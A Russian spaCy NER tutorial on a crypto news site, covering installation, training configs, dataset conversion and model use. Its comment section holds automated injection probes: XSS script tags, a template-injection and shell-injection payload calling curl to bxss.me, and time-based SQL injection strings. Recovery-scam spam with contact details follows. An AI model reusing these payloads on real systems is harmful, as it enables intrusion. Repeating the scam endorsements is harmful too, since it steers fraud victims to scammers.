Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

NER для начинающих: Простое объяснение с примерами на SpaCy

7ba00ec49fa82e492326c35b01456a63.png

Что же такое, этот ваш NER?

Named Entity Recognition (NER) — это задача в области NLP (Natural Language Processing), направленная на выделение фрагментов в тексте, относящихся к классам, таким как имена людей, названия организаций, даты, местоположения, суммы денег и любые другие классы, на определение которых можно обучить модель

Как работает NER

Теперь рассмотрим шаги, которые выполняет система распознавания именованных объектов (NER):

  1. Токенизация текста: Текст разбивается на отдельные слова или токены.

  2. Выделение признаков: Каждому токену назначаются признаки, описывающие его окружение и контекст, такие как:

    • Предыдущие и следующие слова

    • Части речи

    • Другие лингвистические характеристики

  3. Применение модели: Модель анализирует признаки каждого токена и определяет, является ли он именованной сущностью.

  4. Объединение результатов: Результаты анализа токенов объединяются для формирования именованных сущностей, которым назначаются соответствующие метки классов, например такие как:

    • «PER» (персона)

    • «ORG» (организация)

  5. Постобработка: Происходит дополнительная обработка для уточнения результатов и исправления ошибок.

Применение

NER применяется если нужный элемент модели невозможно определить через синонимы, regex и т.д., а создание правил поиска по сложности превосходит программирование логики.

NER является важным компонентом многих NLP-приложений, таких как извлечение информации, анализ тональности, вопросно-ответные системы и многие другие (голосовые ассистенты, смс, телефонные разговоры).

Python библиотеки для NER

Из всего многообразия существующих библиотек я выделяю эти:

  • spaCy — В ней есть функции NER, POS-тегирования, разбора зависимостей, векторов слов и многое другое. Примечательно, что в предобученных моделях имеются модели, поддерживающие русский язык

  • StanfordCoreNLP — Он предоставляет простой API для таких задач обработки текста, как токенизация, тегирование частей речи, реконфигурация именованных сущностей, синтаксический разбор, синтаксический разбор зависимостей и другие.

SpaCy

Об этой библиотеке мы поговорим ввиду банальной простоты ее использования, а также моделях на русском языке со стока

Установка SpaCy

GPU версия (рекомендую для большей производительности)

Здесь представлен пример для карт Nvidia. Перед установкой библиотек вам потребуется установить CUDA, прямая ссылка

PyPi:

pip install 'spacy[cuda12x]'
pip install cupy-cuda12x

Anaconda

conda create -n NER python=3.10.9 spacy spacy-transformers cupy -c conda-forge

CPU версия (только если нет видеокарты)

PyPi:

pip install spacy

Anaconda

conda create -n NER python=3.10.9 spacy -c conda-forge

Пример кода

В примере кода мы подгрузим предобученную русскую модель

Установка модели:

python -m spacy download ru_core_news_sm

Тестовый код:

import spacy

nlp = spacy.load("ru_core_news_sm")
doc = nlp("Apple рассматривает возможность покупки британского стартапа за 1 миллиард долларов")
for token in doc:
    print(token.text, token.pos_, token.dep_)

Вывод:

Apple PROPN nsub

рассматривает VERB ROOT

возможность NOUN obj

покупки NOUN nmod

британского ADJ amod

стартапа NOUN nmod

за ADP case

1 NUM nummod

миллиард NOUN nummod:gov

долларов NOUN obl

Подготовка к обучению

3f33dbc05169d3a6dd6b0fc70dcf390e.png

С предобученной моделью мы ознакомились, пора бы научиться их обучать.

Понятие обучения

Обучение — это итерационный процесс, при котором прогнозы модели сравниваются с эталонными значениями для оценки лосса. Затем лосс используется для вычисления градиента весов с помощью метода обратного распространения. Градиенты показывают, как необходимо скорректировать веса, чтобы улучшить точность прогнозов модели.

Примечательно, что SpaCy защищает модели от переобучения. Как только начнется переобучение, тренировка модели будет прервана.

Конфиг для обучения

Файл config.cfg для обучения модели SpaCy содержит различные параметры и настройки, которые позволяют адаптировать модель к конкретной задаче. Давайте рассмотрим подробно, что может включать данный файл:

1. Данные:

Этот раздел содержит информацию о датасетах, которые будут использоваться для обучения, проверки и тестирования модели. Например:

  • Пути к файлам тренировочного и тестового наборов данных.

  • Формат данных (JSON, CSV и др.)

2. Компоненты модели:

Этот раздел описывает компоненты NLP, которые используются в модели, такие как:

  • Токенизатор (Tokenizer)

  • Лемматизатор (Lemmatizer)

  • Часть речи (Tagger)

  • Распознавание именованных сущностей (NER)

  • Анализ зависимостей (Parser)

3. Оптимизаторы:

Здесь описываются методы оптимизации и параметры обучения, такие как:

  • Тип оптимизатора (Adam, SGD)

  • Параметры оптимизатора (коэффициент обучения, коэффициенты регуляризации и др.)

4. Гиперпараметры:

Этот раздел включает параметры, которые управляют процессом обучения:

  • Размер батча

  • Количество эпох

  • Частота сохранения модели на диск

5. Векторные представления:

Этот раздел определяет векторные представления слов (вектора Word2Vec, GloVe и др.), которые будут использоваться для инициализации эмбеддингов.

6. Настройки среды:

Здесь находятся настройки для среды выполнения, такие как:

  • Использование GPU или CPU

  • Пути к исходным файлам и директориям

7. Настройки логирования:

Этот раздел может включать параметры для логирования процесса обучения:

  • Уровень логирования (DEBUG, INFO, WARNING)

  • Формат логов и пути к ним

8. Метрики:

Здесь описываются метрики, которые будут использоваться для оценки модели:

  • Точность (Accuracy)

  • Полнота (Recall)

  • F1-меры и др.

Пример части файла config.cfg:

[paths]
train = "path/to/train_data"
dev = "path/to/dev_data"
vectors = "path/to/vectors"

[nlp]
lang = "ru"
pipeline = ["tok2vec","ner"]
batch_size = 1000

[components.tok2vec]
factory = "tok2vec"

[training.optimizer]
@optimizers = "Adam.v1"

[training.batcher]
@batchers = "spacy.batch_by_words.v1"
discard_oversize = false
tolerance = 0.2

[training.batcher.size]
@schedules = "compounding.v1"
start = 100
stop = 1000
compound = 1.001

Создание конфигурации обучения (CPU/GPU)

Вообще, в официальной документации SpaCy имеется генератор конфигураций, но если взять его конфиг, то за редким случаем у вас выйдет точность выше 64%

Поэтому я дам вам свои конфиги для CPU и GPU, показавшие среднюю точность 99% обученных на них моделей

GPU

[paths]
train = null
dev = null
vectors = null
init_tok2vec = null

[system]
gpu_allocator = null
seed = 0

[nlp]
lang = "ru"
pipeline = ["tok2vec","ner"]
batch_size = 1000
disabled = []
before_creation = null
after_creation = null
after_pipeline_creation = null
tokenizer = {"@tokenizers":"spacy.Tokenizer.v1"}
vectors = {"@vectors":"spacy.Vectors.v1"}

[components]

[components.ner]
factory = "ner"
incorrect_spans_key = null
moves = null
scorer = {"@scorers":"spacy.ner_scorer.v1"}
update_with_oracle_cut_size = 100

[components.ner.model]
@architectures = "spacy.TransitionBasedParser.v2"
state_type = "ner"
extra_state_tokens = false
hidden_width = 64
maxout_pieces = 2
use_upper = true
nO = null

[components.ner.model.tok2vec]
@architectures = "spacy.Tok2VecListener.v1"
width = ${components.tok2vec.model.encode.width}
upstream = "*"

[components.tok2vec]
factory = "tok2vec"

[components.tok2vec.model]
@architectures = "spacy.Tok2Vec.v2"

[components.tok2vec.model.embed]
@architectures = "spacy.MultiHashEmbed.v2"
width = ${components.tok2vec.model.encode.width}
attrs = ["NORM","PREFIX","SUFFIX","SHAPE"]
rows = [5000,1000,2500,2500]
include_static_vectors = true

[components.tok2vec.model.encode]
@architectures = "spacy.MaxoutWindowEncoder.v2"
width = 256
depth = 8
window_size = 1
maxout_pieces = 3

[corpora]

[corpora.dev]
@readers = "spacy.Corpus.v1"
path = ${paths.dev}
max_length = 0
gold_preproc = true
limit = 0
augmenter = null

[corpora.train]
@readers = "spacy.Corpus.v1"
path = ${paths.train}
max_length = 0
gold_preproc = true
limit = 0
augmenter = null

[training]
dev_corpus = "corpora.dev"
train_corpus = "corpora.train"
seed = ${system.seed}
gpu_allocator = ${system.gpu_allocator}
dropout = 0.1
accumulate_gradient = 1
patience = 1600
max_epochs = 0
max_steps = 20000
eval_frequency = 200
frozen_components = []
annotating_components = []
before_to_disk = null
before_update = null

[training.batcher]
@batchers = "spacy.batch_by_words.v1"
discard_oversize = false
tolerance = 0.2
get_length = null

[training.batcher.size]
@schedules = "compounding.v1"
start = 100
stop = 1000
compound = 1.001
t = 0.0

[training.logger]
@loggers = "spacy.ConsoleLogger.v1"
progress_bar = true

[training.optimizer]
@optimizers = "Adam.v1"
beta1 = 0.9
beta2 = 0.999
L2_is_weight_decay = true
L2 = 0.01
grad_clip = 1.0
use_averages = false
eps = 0.00000001
learn_rate = 0.001

[training.score_weights]
ents_f = 1.0
ents_p = 0.0
ents_r = 0.0
ents_per_type = null

[pretraining]

[initialize]
vectors = ${paths.vectors}
init_tok2vec = ${paths.init_tok2vec}
vocab_data = null
lookups = null
before_init = null
after_init = null

[initialize.components]

[initialize.tokenizer]

CPU

[paths]
train = null
dev = null
vectors = null
[system]
gpu_allocator = null

[nlp]
lang = "ru"
pipeline = ["tok2vec","ner"]
batch_size = 1000

[components]

[components.tok2vec]
factory = "tok2vec"

[components.tok2vec.model]
@architectures = "spacy.Tok2Vec.v2"

[components.tok2vec.model.embed]
@architectures = "spacy.MultiHashEmbed.v2"
width = ${components.tok2vec.model.encode.width}
attrs = ["NORM", "PREFIX", "SUFFIX", "SHAPE"]
rows = [5000, 1000, 2500, 2500]
include_static_vectors = true

[components.tok2vec.model.encode]
@architectures = "spacy.MaxoutWindowEncoder.v2"
width = 256
depth = 8
window_size = 1
maxout_pieces = 3

[components.ner]
factory = "ner"

[components.ner.model]
@architectures = "spacy.TransitionBasedParser.v2"
state_type = "ner"
extra_state_tokens = false
hidden_width = 64
maxout_pieces = 2
use_upper = true
nO = null

[components.ner.model.tok2vec]
@architectures = "spacy.Tok2VecListener.v1"
width = ${components.tok2vec.model.encode.width}

[corpora]

[corpora.train]
@readers = "spacy.Corpus.v1"
path = ${paths.train}
max_length = 0

[corpora.dev]
@readers = "spacy.Corpus.v1"
path = ${paths.dev}
max_length = 0

[training]
dev_corpus = "corpora.dev"
train_corpus = "corpora.train"

[training.optimizer]
@optimizers = "Adam.v1"

[training.batcher]
@batchers = "spacy.batch_by_words.v1"
discard_oversize = false
tolerance = 0.2

[training.batcher.size]
@schedules = "compounding.v1"
start = 100
stop = 1000
compound = 1.001

[initialize]
vectors = ${paths.vectors}

Отличия от стоковой конфигурации

Отличия имеются только для GPU версии, ввиду того что там включен gold preprocessing. Если ваши датасеты тщательно аннотированы и вы уверены в их качестве, включение gold preprocessing рекомендуется для повышения точности и надежности модели.

Создание датасетов

Для обучения модели необходимо разметить данные и создать датасеты, чем мы сейчас и займемся. Для начала, нам следует определиться с классами, которые будет определять наша модель, а также найти данные, которые будут размечены в датасеты. Количество строк в каждом классе должно быть не менее 1000, иначе возможны проблемы с точностью распознавания из-за недостаточного количества данных.

Поиск данных на разметку

Я выделяю три основных места, в которых мы можем найти данные на разметку:

  • HuggingFace — огромное количество данных на любой случай жизни и пусть датасетов под NER всего ничего, но взяв условный csv можно достать из него данные и разметить

  • Kaggle — аналогично первому пункту

  • Google Dorking — поиск информации, проиндексированной поисковой системой. Можно извлечь файлы с нужной информацией, я, к примеру, таким образом набирал названия компаний на разметку

Разметка данных

Теперь приступим, непосредственно, к разметке данных.

Перед разметкой собранные ранее данные следует собрать в txt файл

  1. Заходим на сайт

    4a52215cd49b48e545482ed14167748e.png

  2. Открываем файл и настраиваем классы

    ceed747d9b6eec1dbac2bd3c4cc9b732.png

  3. Размечаем данные до конца, одна строка может иметь как один, так и несколько классов, все зависит от формата данных и их наполнения

  4. Загружаем размеченные данные через Annotations -> Export

После выполнения вышеуказанных действий произойдет загрузка файла annotations.json

Конвертация данных

Как мы видим. загруженный файл имеет формат JSON, который нам не подходит. Необходимо преобразовать его в поддерживаемый формат SpaCy для последующего создания датасетов. В этом нам может помочь следующий Python код:

import json

# Исходный JSON
data = open(input('Введите путь до JSON файла: ')).read()

# Загружаем данные из JSON
json_data = json.loads(data)

# Конвертируем данные в необходимый формат
converted_data = []
for item in json_data["annotations"]:
    text, annotation = item
    entities = annotation["entities"]
    converted_data.append((text, entities))

# Сохраняем результат в training_data.txt
with open("training_data.txt", "w", encoding="utf-8") as f:
    for entry in converted_data:
        f.write(f"{entry}\n")

Создание датасетов

Вот мы и подобрались к заключительному этапу подготовки данных для обучения модели. Для конвертации training_data.txt в датасеты, нам потребуется запустить еще один код, вот он:

import spacy
from spacy.tokens import DocBin
from collections import defaultdict
import math
import random

# Загружаем модель SpaCy
nlp = spacy.blank("ru")

# Функция для конвертации данных в формат spacy
def convert_to_spacy_format(data, nlp):
    doc_bin = DocBin()
    for item in data:
        text, annotations = item
        doc = nlp.make_doc(text)
        ents = []
        for start, end, label in annotations:
            span = doc.char_span(start, end, label=label)
            if span:
                ents.append(span)
        doc.ents = ents
        doc_bin.add(doc)
    return doc_bin

# Чтение данных на конвертацию из файла
data = [
    eval(line.strip().rstrip(","))
    for line in open("training_data.txt", encoding="utf-8")
]

# Группируем данные по классам
class_data = defaultdict(list)
for item in data:
    if isinstance(item, tuple) and len(item) == 2:
        _, annotations = item
        for _, _, label in annotations:
            class_data[label].append(item)
            break  # Предполагаем, что каждый текст относится к одному классу

# Устанавливаем соотношение для train, dev и test наборов
train_ratio = 0.7
dev_ratio = 0.2
test_ratio = 0.1

train_data = []
dev_data = []
test_data = []

# Вычисляем количество элементов для каждого класса
for label, items in class_data.items():
    n_items = len(items)
    n_train = math.ceil(train_ratio * n_items)
    n_dev = math.ceil(dev_ratio * n_items)
    n_test = n_items - n_train - n_dev  # Оставшееся количество идёт в тестовый набор

    # Добавляем данные в наборы
    train_data.extend(items[:n_train])
    dev_data.extend(items[n_train:n_train + n_dev])
    test_data.extend(items[n_train + n_dev:])

# Перемешиваем данные внутри каждого набора для случайного распределения
random.shuffle(train_data)
random.shuffle(dev_data)
random.shuffle(test_data)

# Конвертируем данные в формат spacy и сохраняем
train_doc_bin = convert_to_spacy_format(train_data, nlp)
train_doc_bin.to_disk("train.spacy")

dev_doc_bin = convert_to_spacy_format(dev_data, nlp)
dev_doc_bin.to_disk("dev.spacy")

test_doc_bin = convert_to_spacy_format(test_data, nlp)
test_doc_bin.to_disk("test.spacy")

По окончанию работы у нас появится 3 файла: train.spacy (данные на которых будет обучаться модель, 70% всех данных), dev.spacy (данные, которыми будут проверяться предсказания модели, 20% всех данных), test.spacy (данные для бенчмарка, 10% всех данных)

Обучение модели

Итак, наконец у нас есть три файла с датасетами и конфиг, можно начать обучение

GPU:

python -m spacy train config.cfg --output ./output --paths.train ./train.spacy --paths.dev ./dev.spacy -g 0

CPU:

python -m spacy train config.cfg --output ./output --paths.train ./train.spacy --paths.dev ./dev.spacy
Процесс обучения модели
Процесс обучения модели

Отлично, обучение запущено. Теперь давайте разберемся со значением каждой колонки:

  1. # - Это порядковый номер итерации в процессе обучения модели.

  2. LOSS TOK2VEC - Показывает потери (ошибки) во время обучения компонента tok2vec. Этот компонент используется для векторизации токенов (слов) в модели.

  3. LOSS NER - Показывает потери (ошибки) во время обучения компонента NER (Named Entity Recognition). Этот компонент отвечает за распознавание именованных сущностей в тексте.

  4. ENTS_F - Это метрика F1-score для распознавания именованных сущностей. Она представляет собой гармоническое среднее между точностью и полнотой.

  5. ENTS_P - Показывает точность (precision) распознавания именованных сущностей. Она отражает долю правильно классифицированных именованных сущностей среди всех предсказанных.

  6. ENTS_R - Показывает полноту (recall) распознавания именованных сущностей. Это отношение правильно классифицированных именованных сущностей к общему количеству настоящих именованных сущностей.

  7. SCORE - Это общая оценка или показатель успеха модели на данной итерации обучения. Этот показатель может учитывать различные метрики и параметры модели для оценки её качества. Умножение на 100 этого значения даст процент успеха модели.

По окончанию процесса лучшая модель сохранится по пути ./output/model-best

Использование готовой модели

Использовать модель достаточно просто. Для этого создайте файл for_model.txt и построчно внесите в него значения, которые хотите обработать моделью. Далее запустите следующий код:

import spacy
import re
import openpyxl

# Загрузите модель для русского языка, например, 'ru_core_news_sm'
nlp_ru = spacy.load("./output/model-best")

f = open("for_model.txt", encoding="utf-8")
output_xlsx_file = "output_data.xlsx"


# Функция для извлечения сущностей заданного типа из документа
def extract_entities(doc, entity_type):
    return [ent.text for ent in doc.ents if ent.label_ == entity_type]


# Получаем список уникальных типов сущностей из модели
entity_types = nlp_ru.pipe_labels["ner"]

# Создаем workbook и worksheet для xlsx файла
wb = openpyxl.Workbook()
ws = wb.active
ws.title = "NER Output"

# Записываем заголовок колонок
ws.append(["Input Text"] + entity_types)

for input in f:
    line = input.strip()
    doc_ru = nlp_ru(line)
    row_data = [line]

    # Извлекаем сущности для каждого типа и удаляем недопустимые компании
    for entity_type in entity_types:
        entities = extract_entities(doc_ru, entity_type)

        # Добавляем сущности в соответствующую колонку по их классу
        row_data.append(", ".join(list(set(entities))))

    # Записываем строку в xlsx файл
    ws.append(row_data)

# Закрываем вводной файл
f.close()

# Сохраняем и закрываем рабочую книгу
wb.save(output_xlsx_file)
wb.close()

print(f"Данные успешно сохранены в файл {output_xlsx_file}")

По окончанию работы кода будет создан файл output_data.xlsx.

e100c40ac3e0141a70852425134469aa.png

На этом все!

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

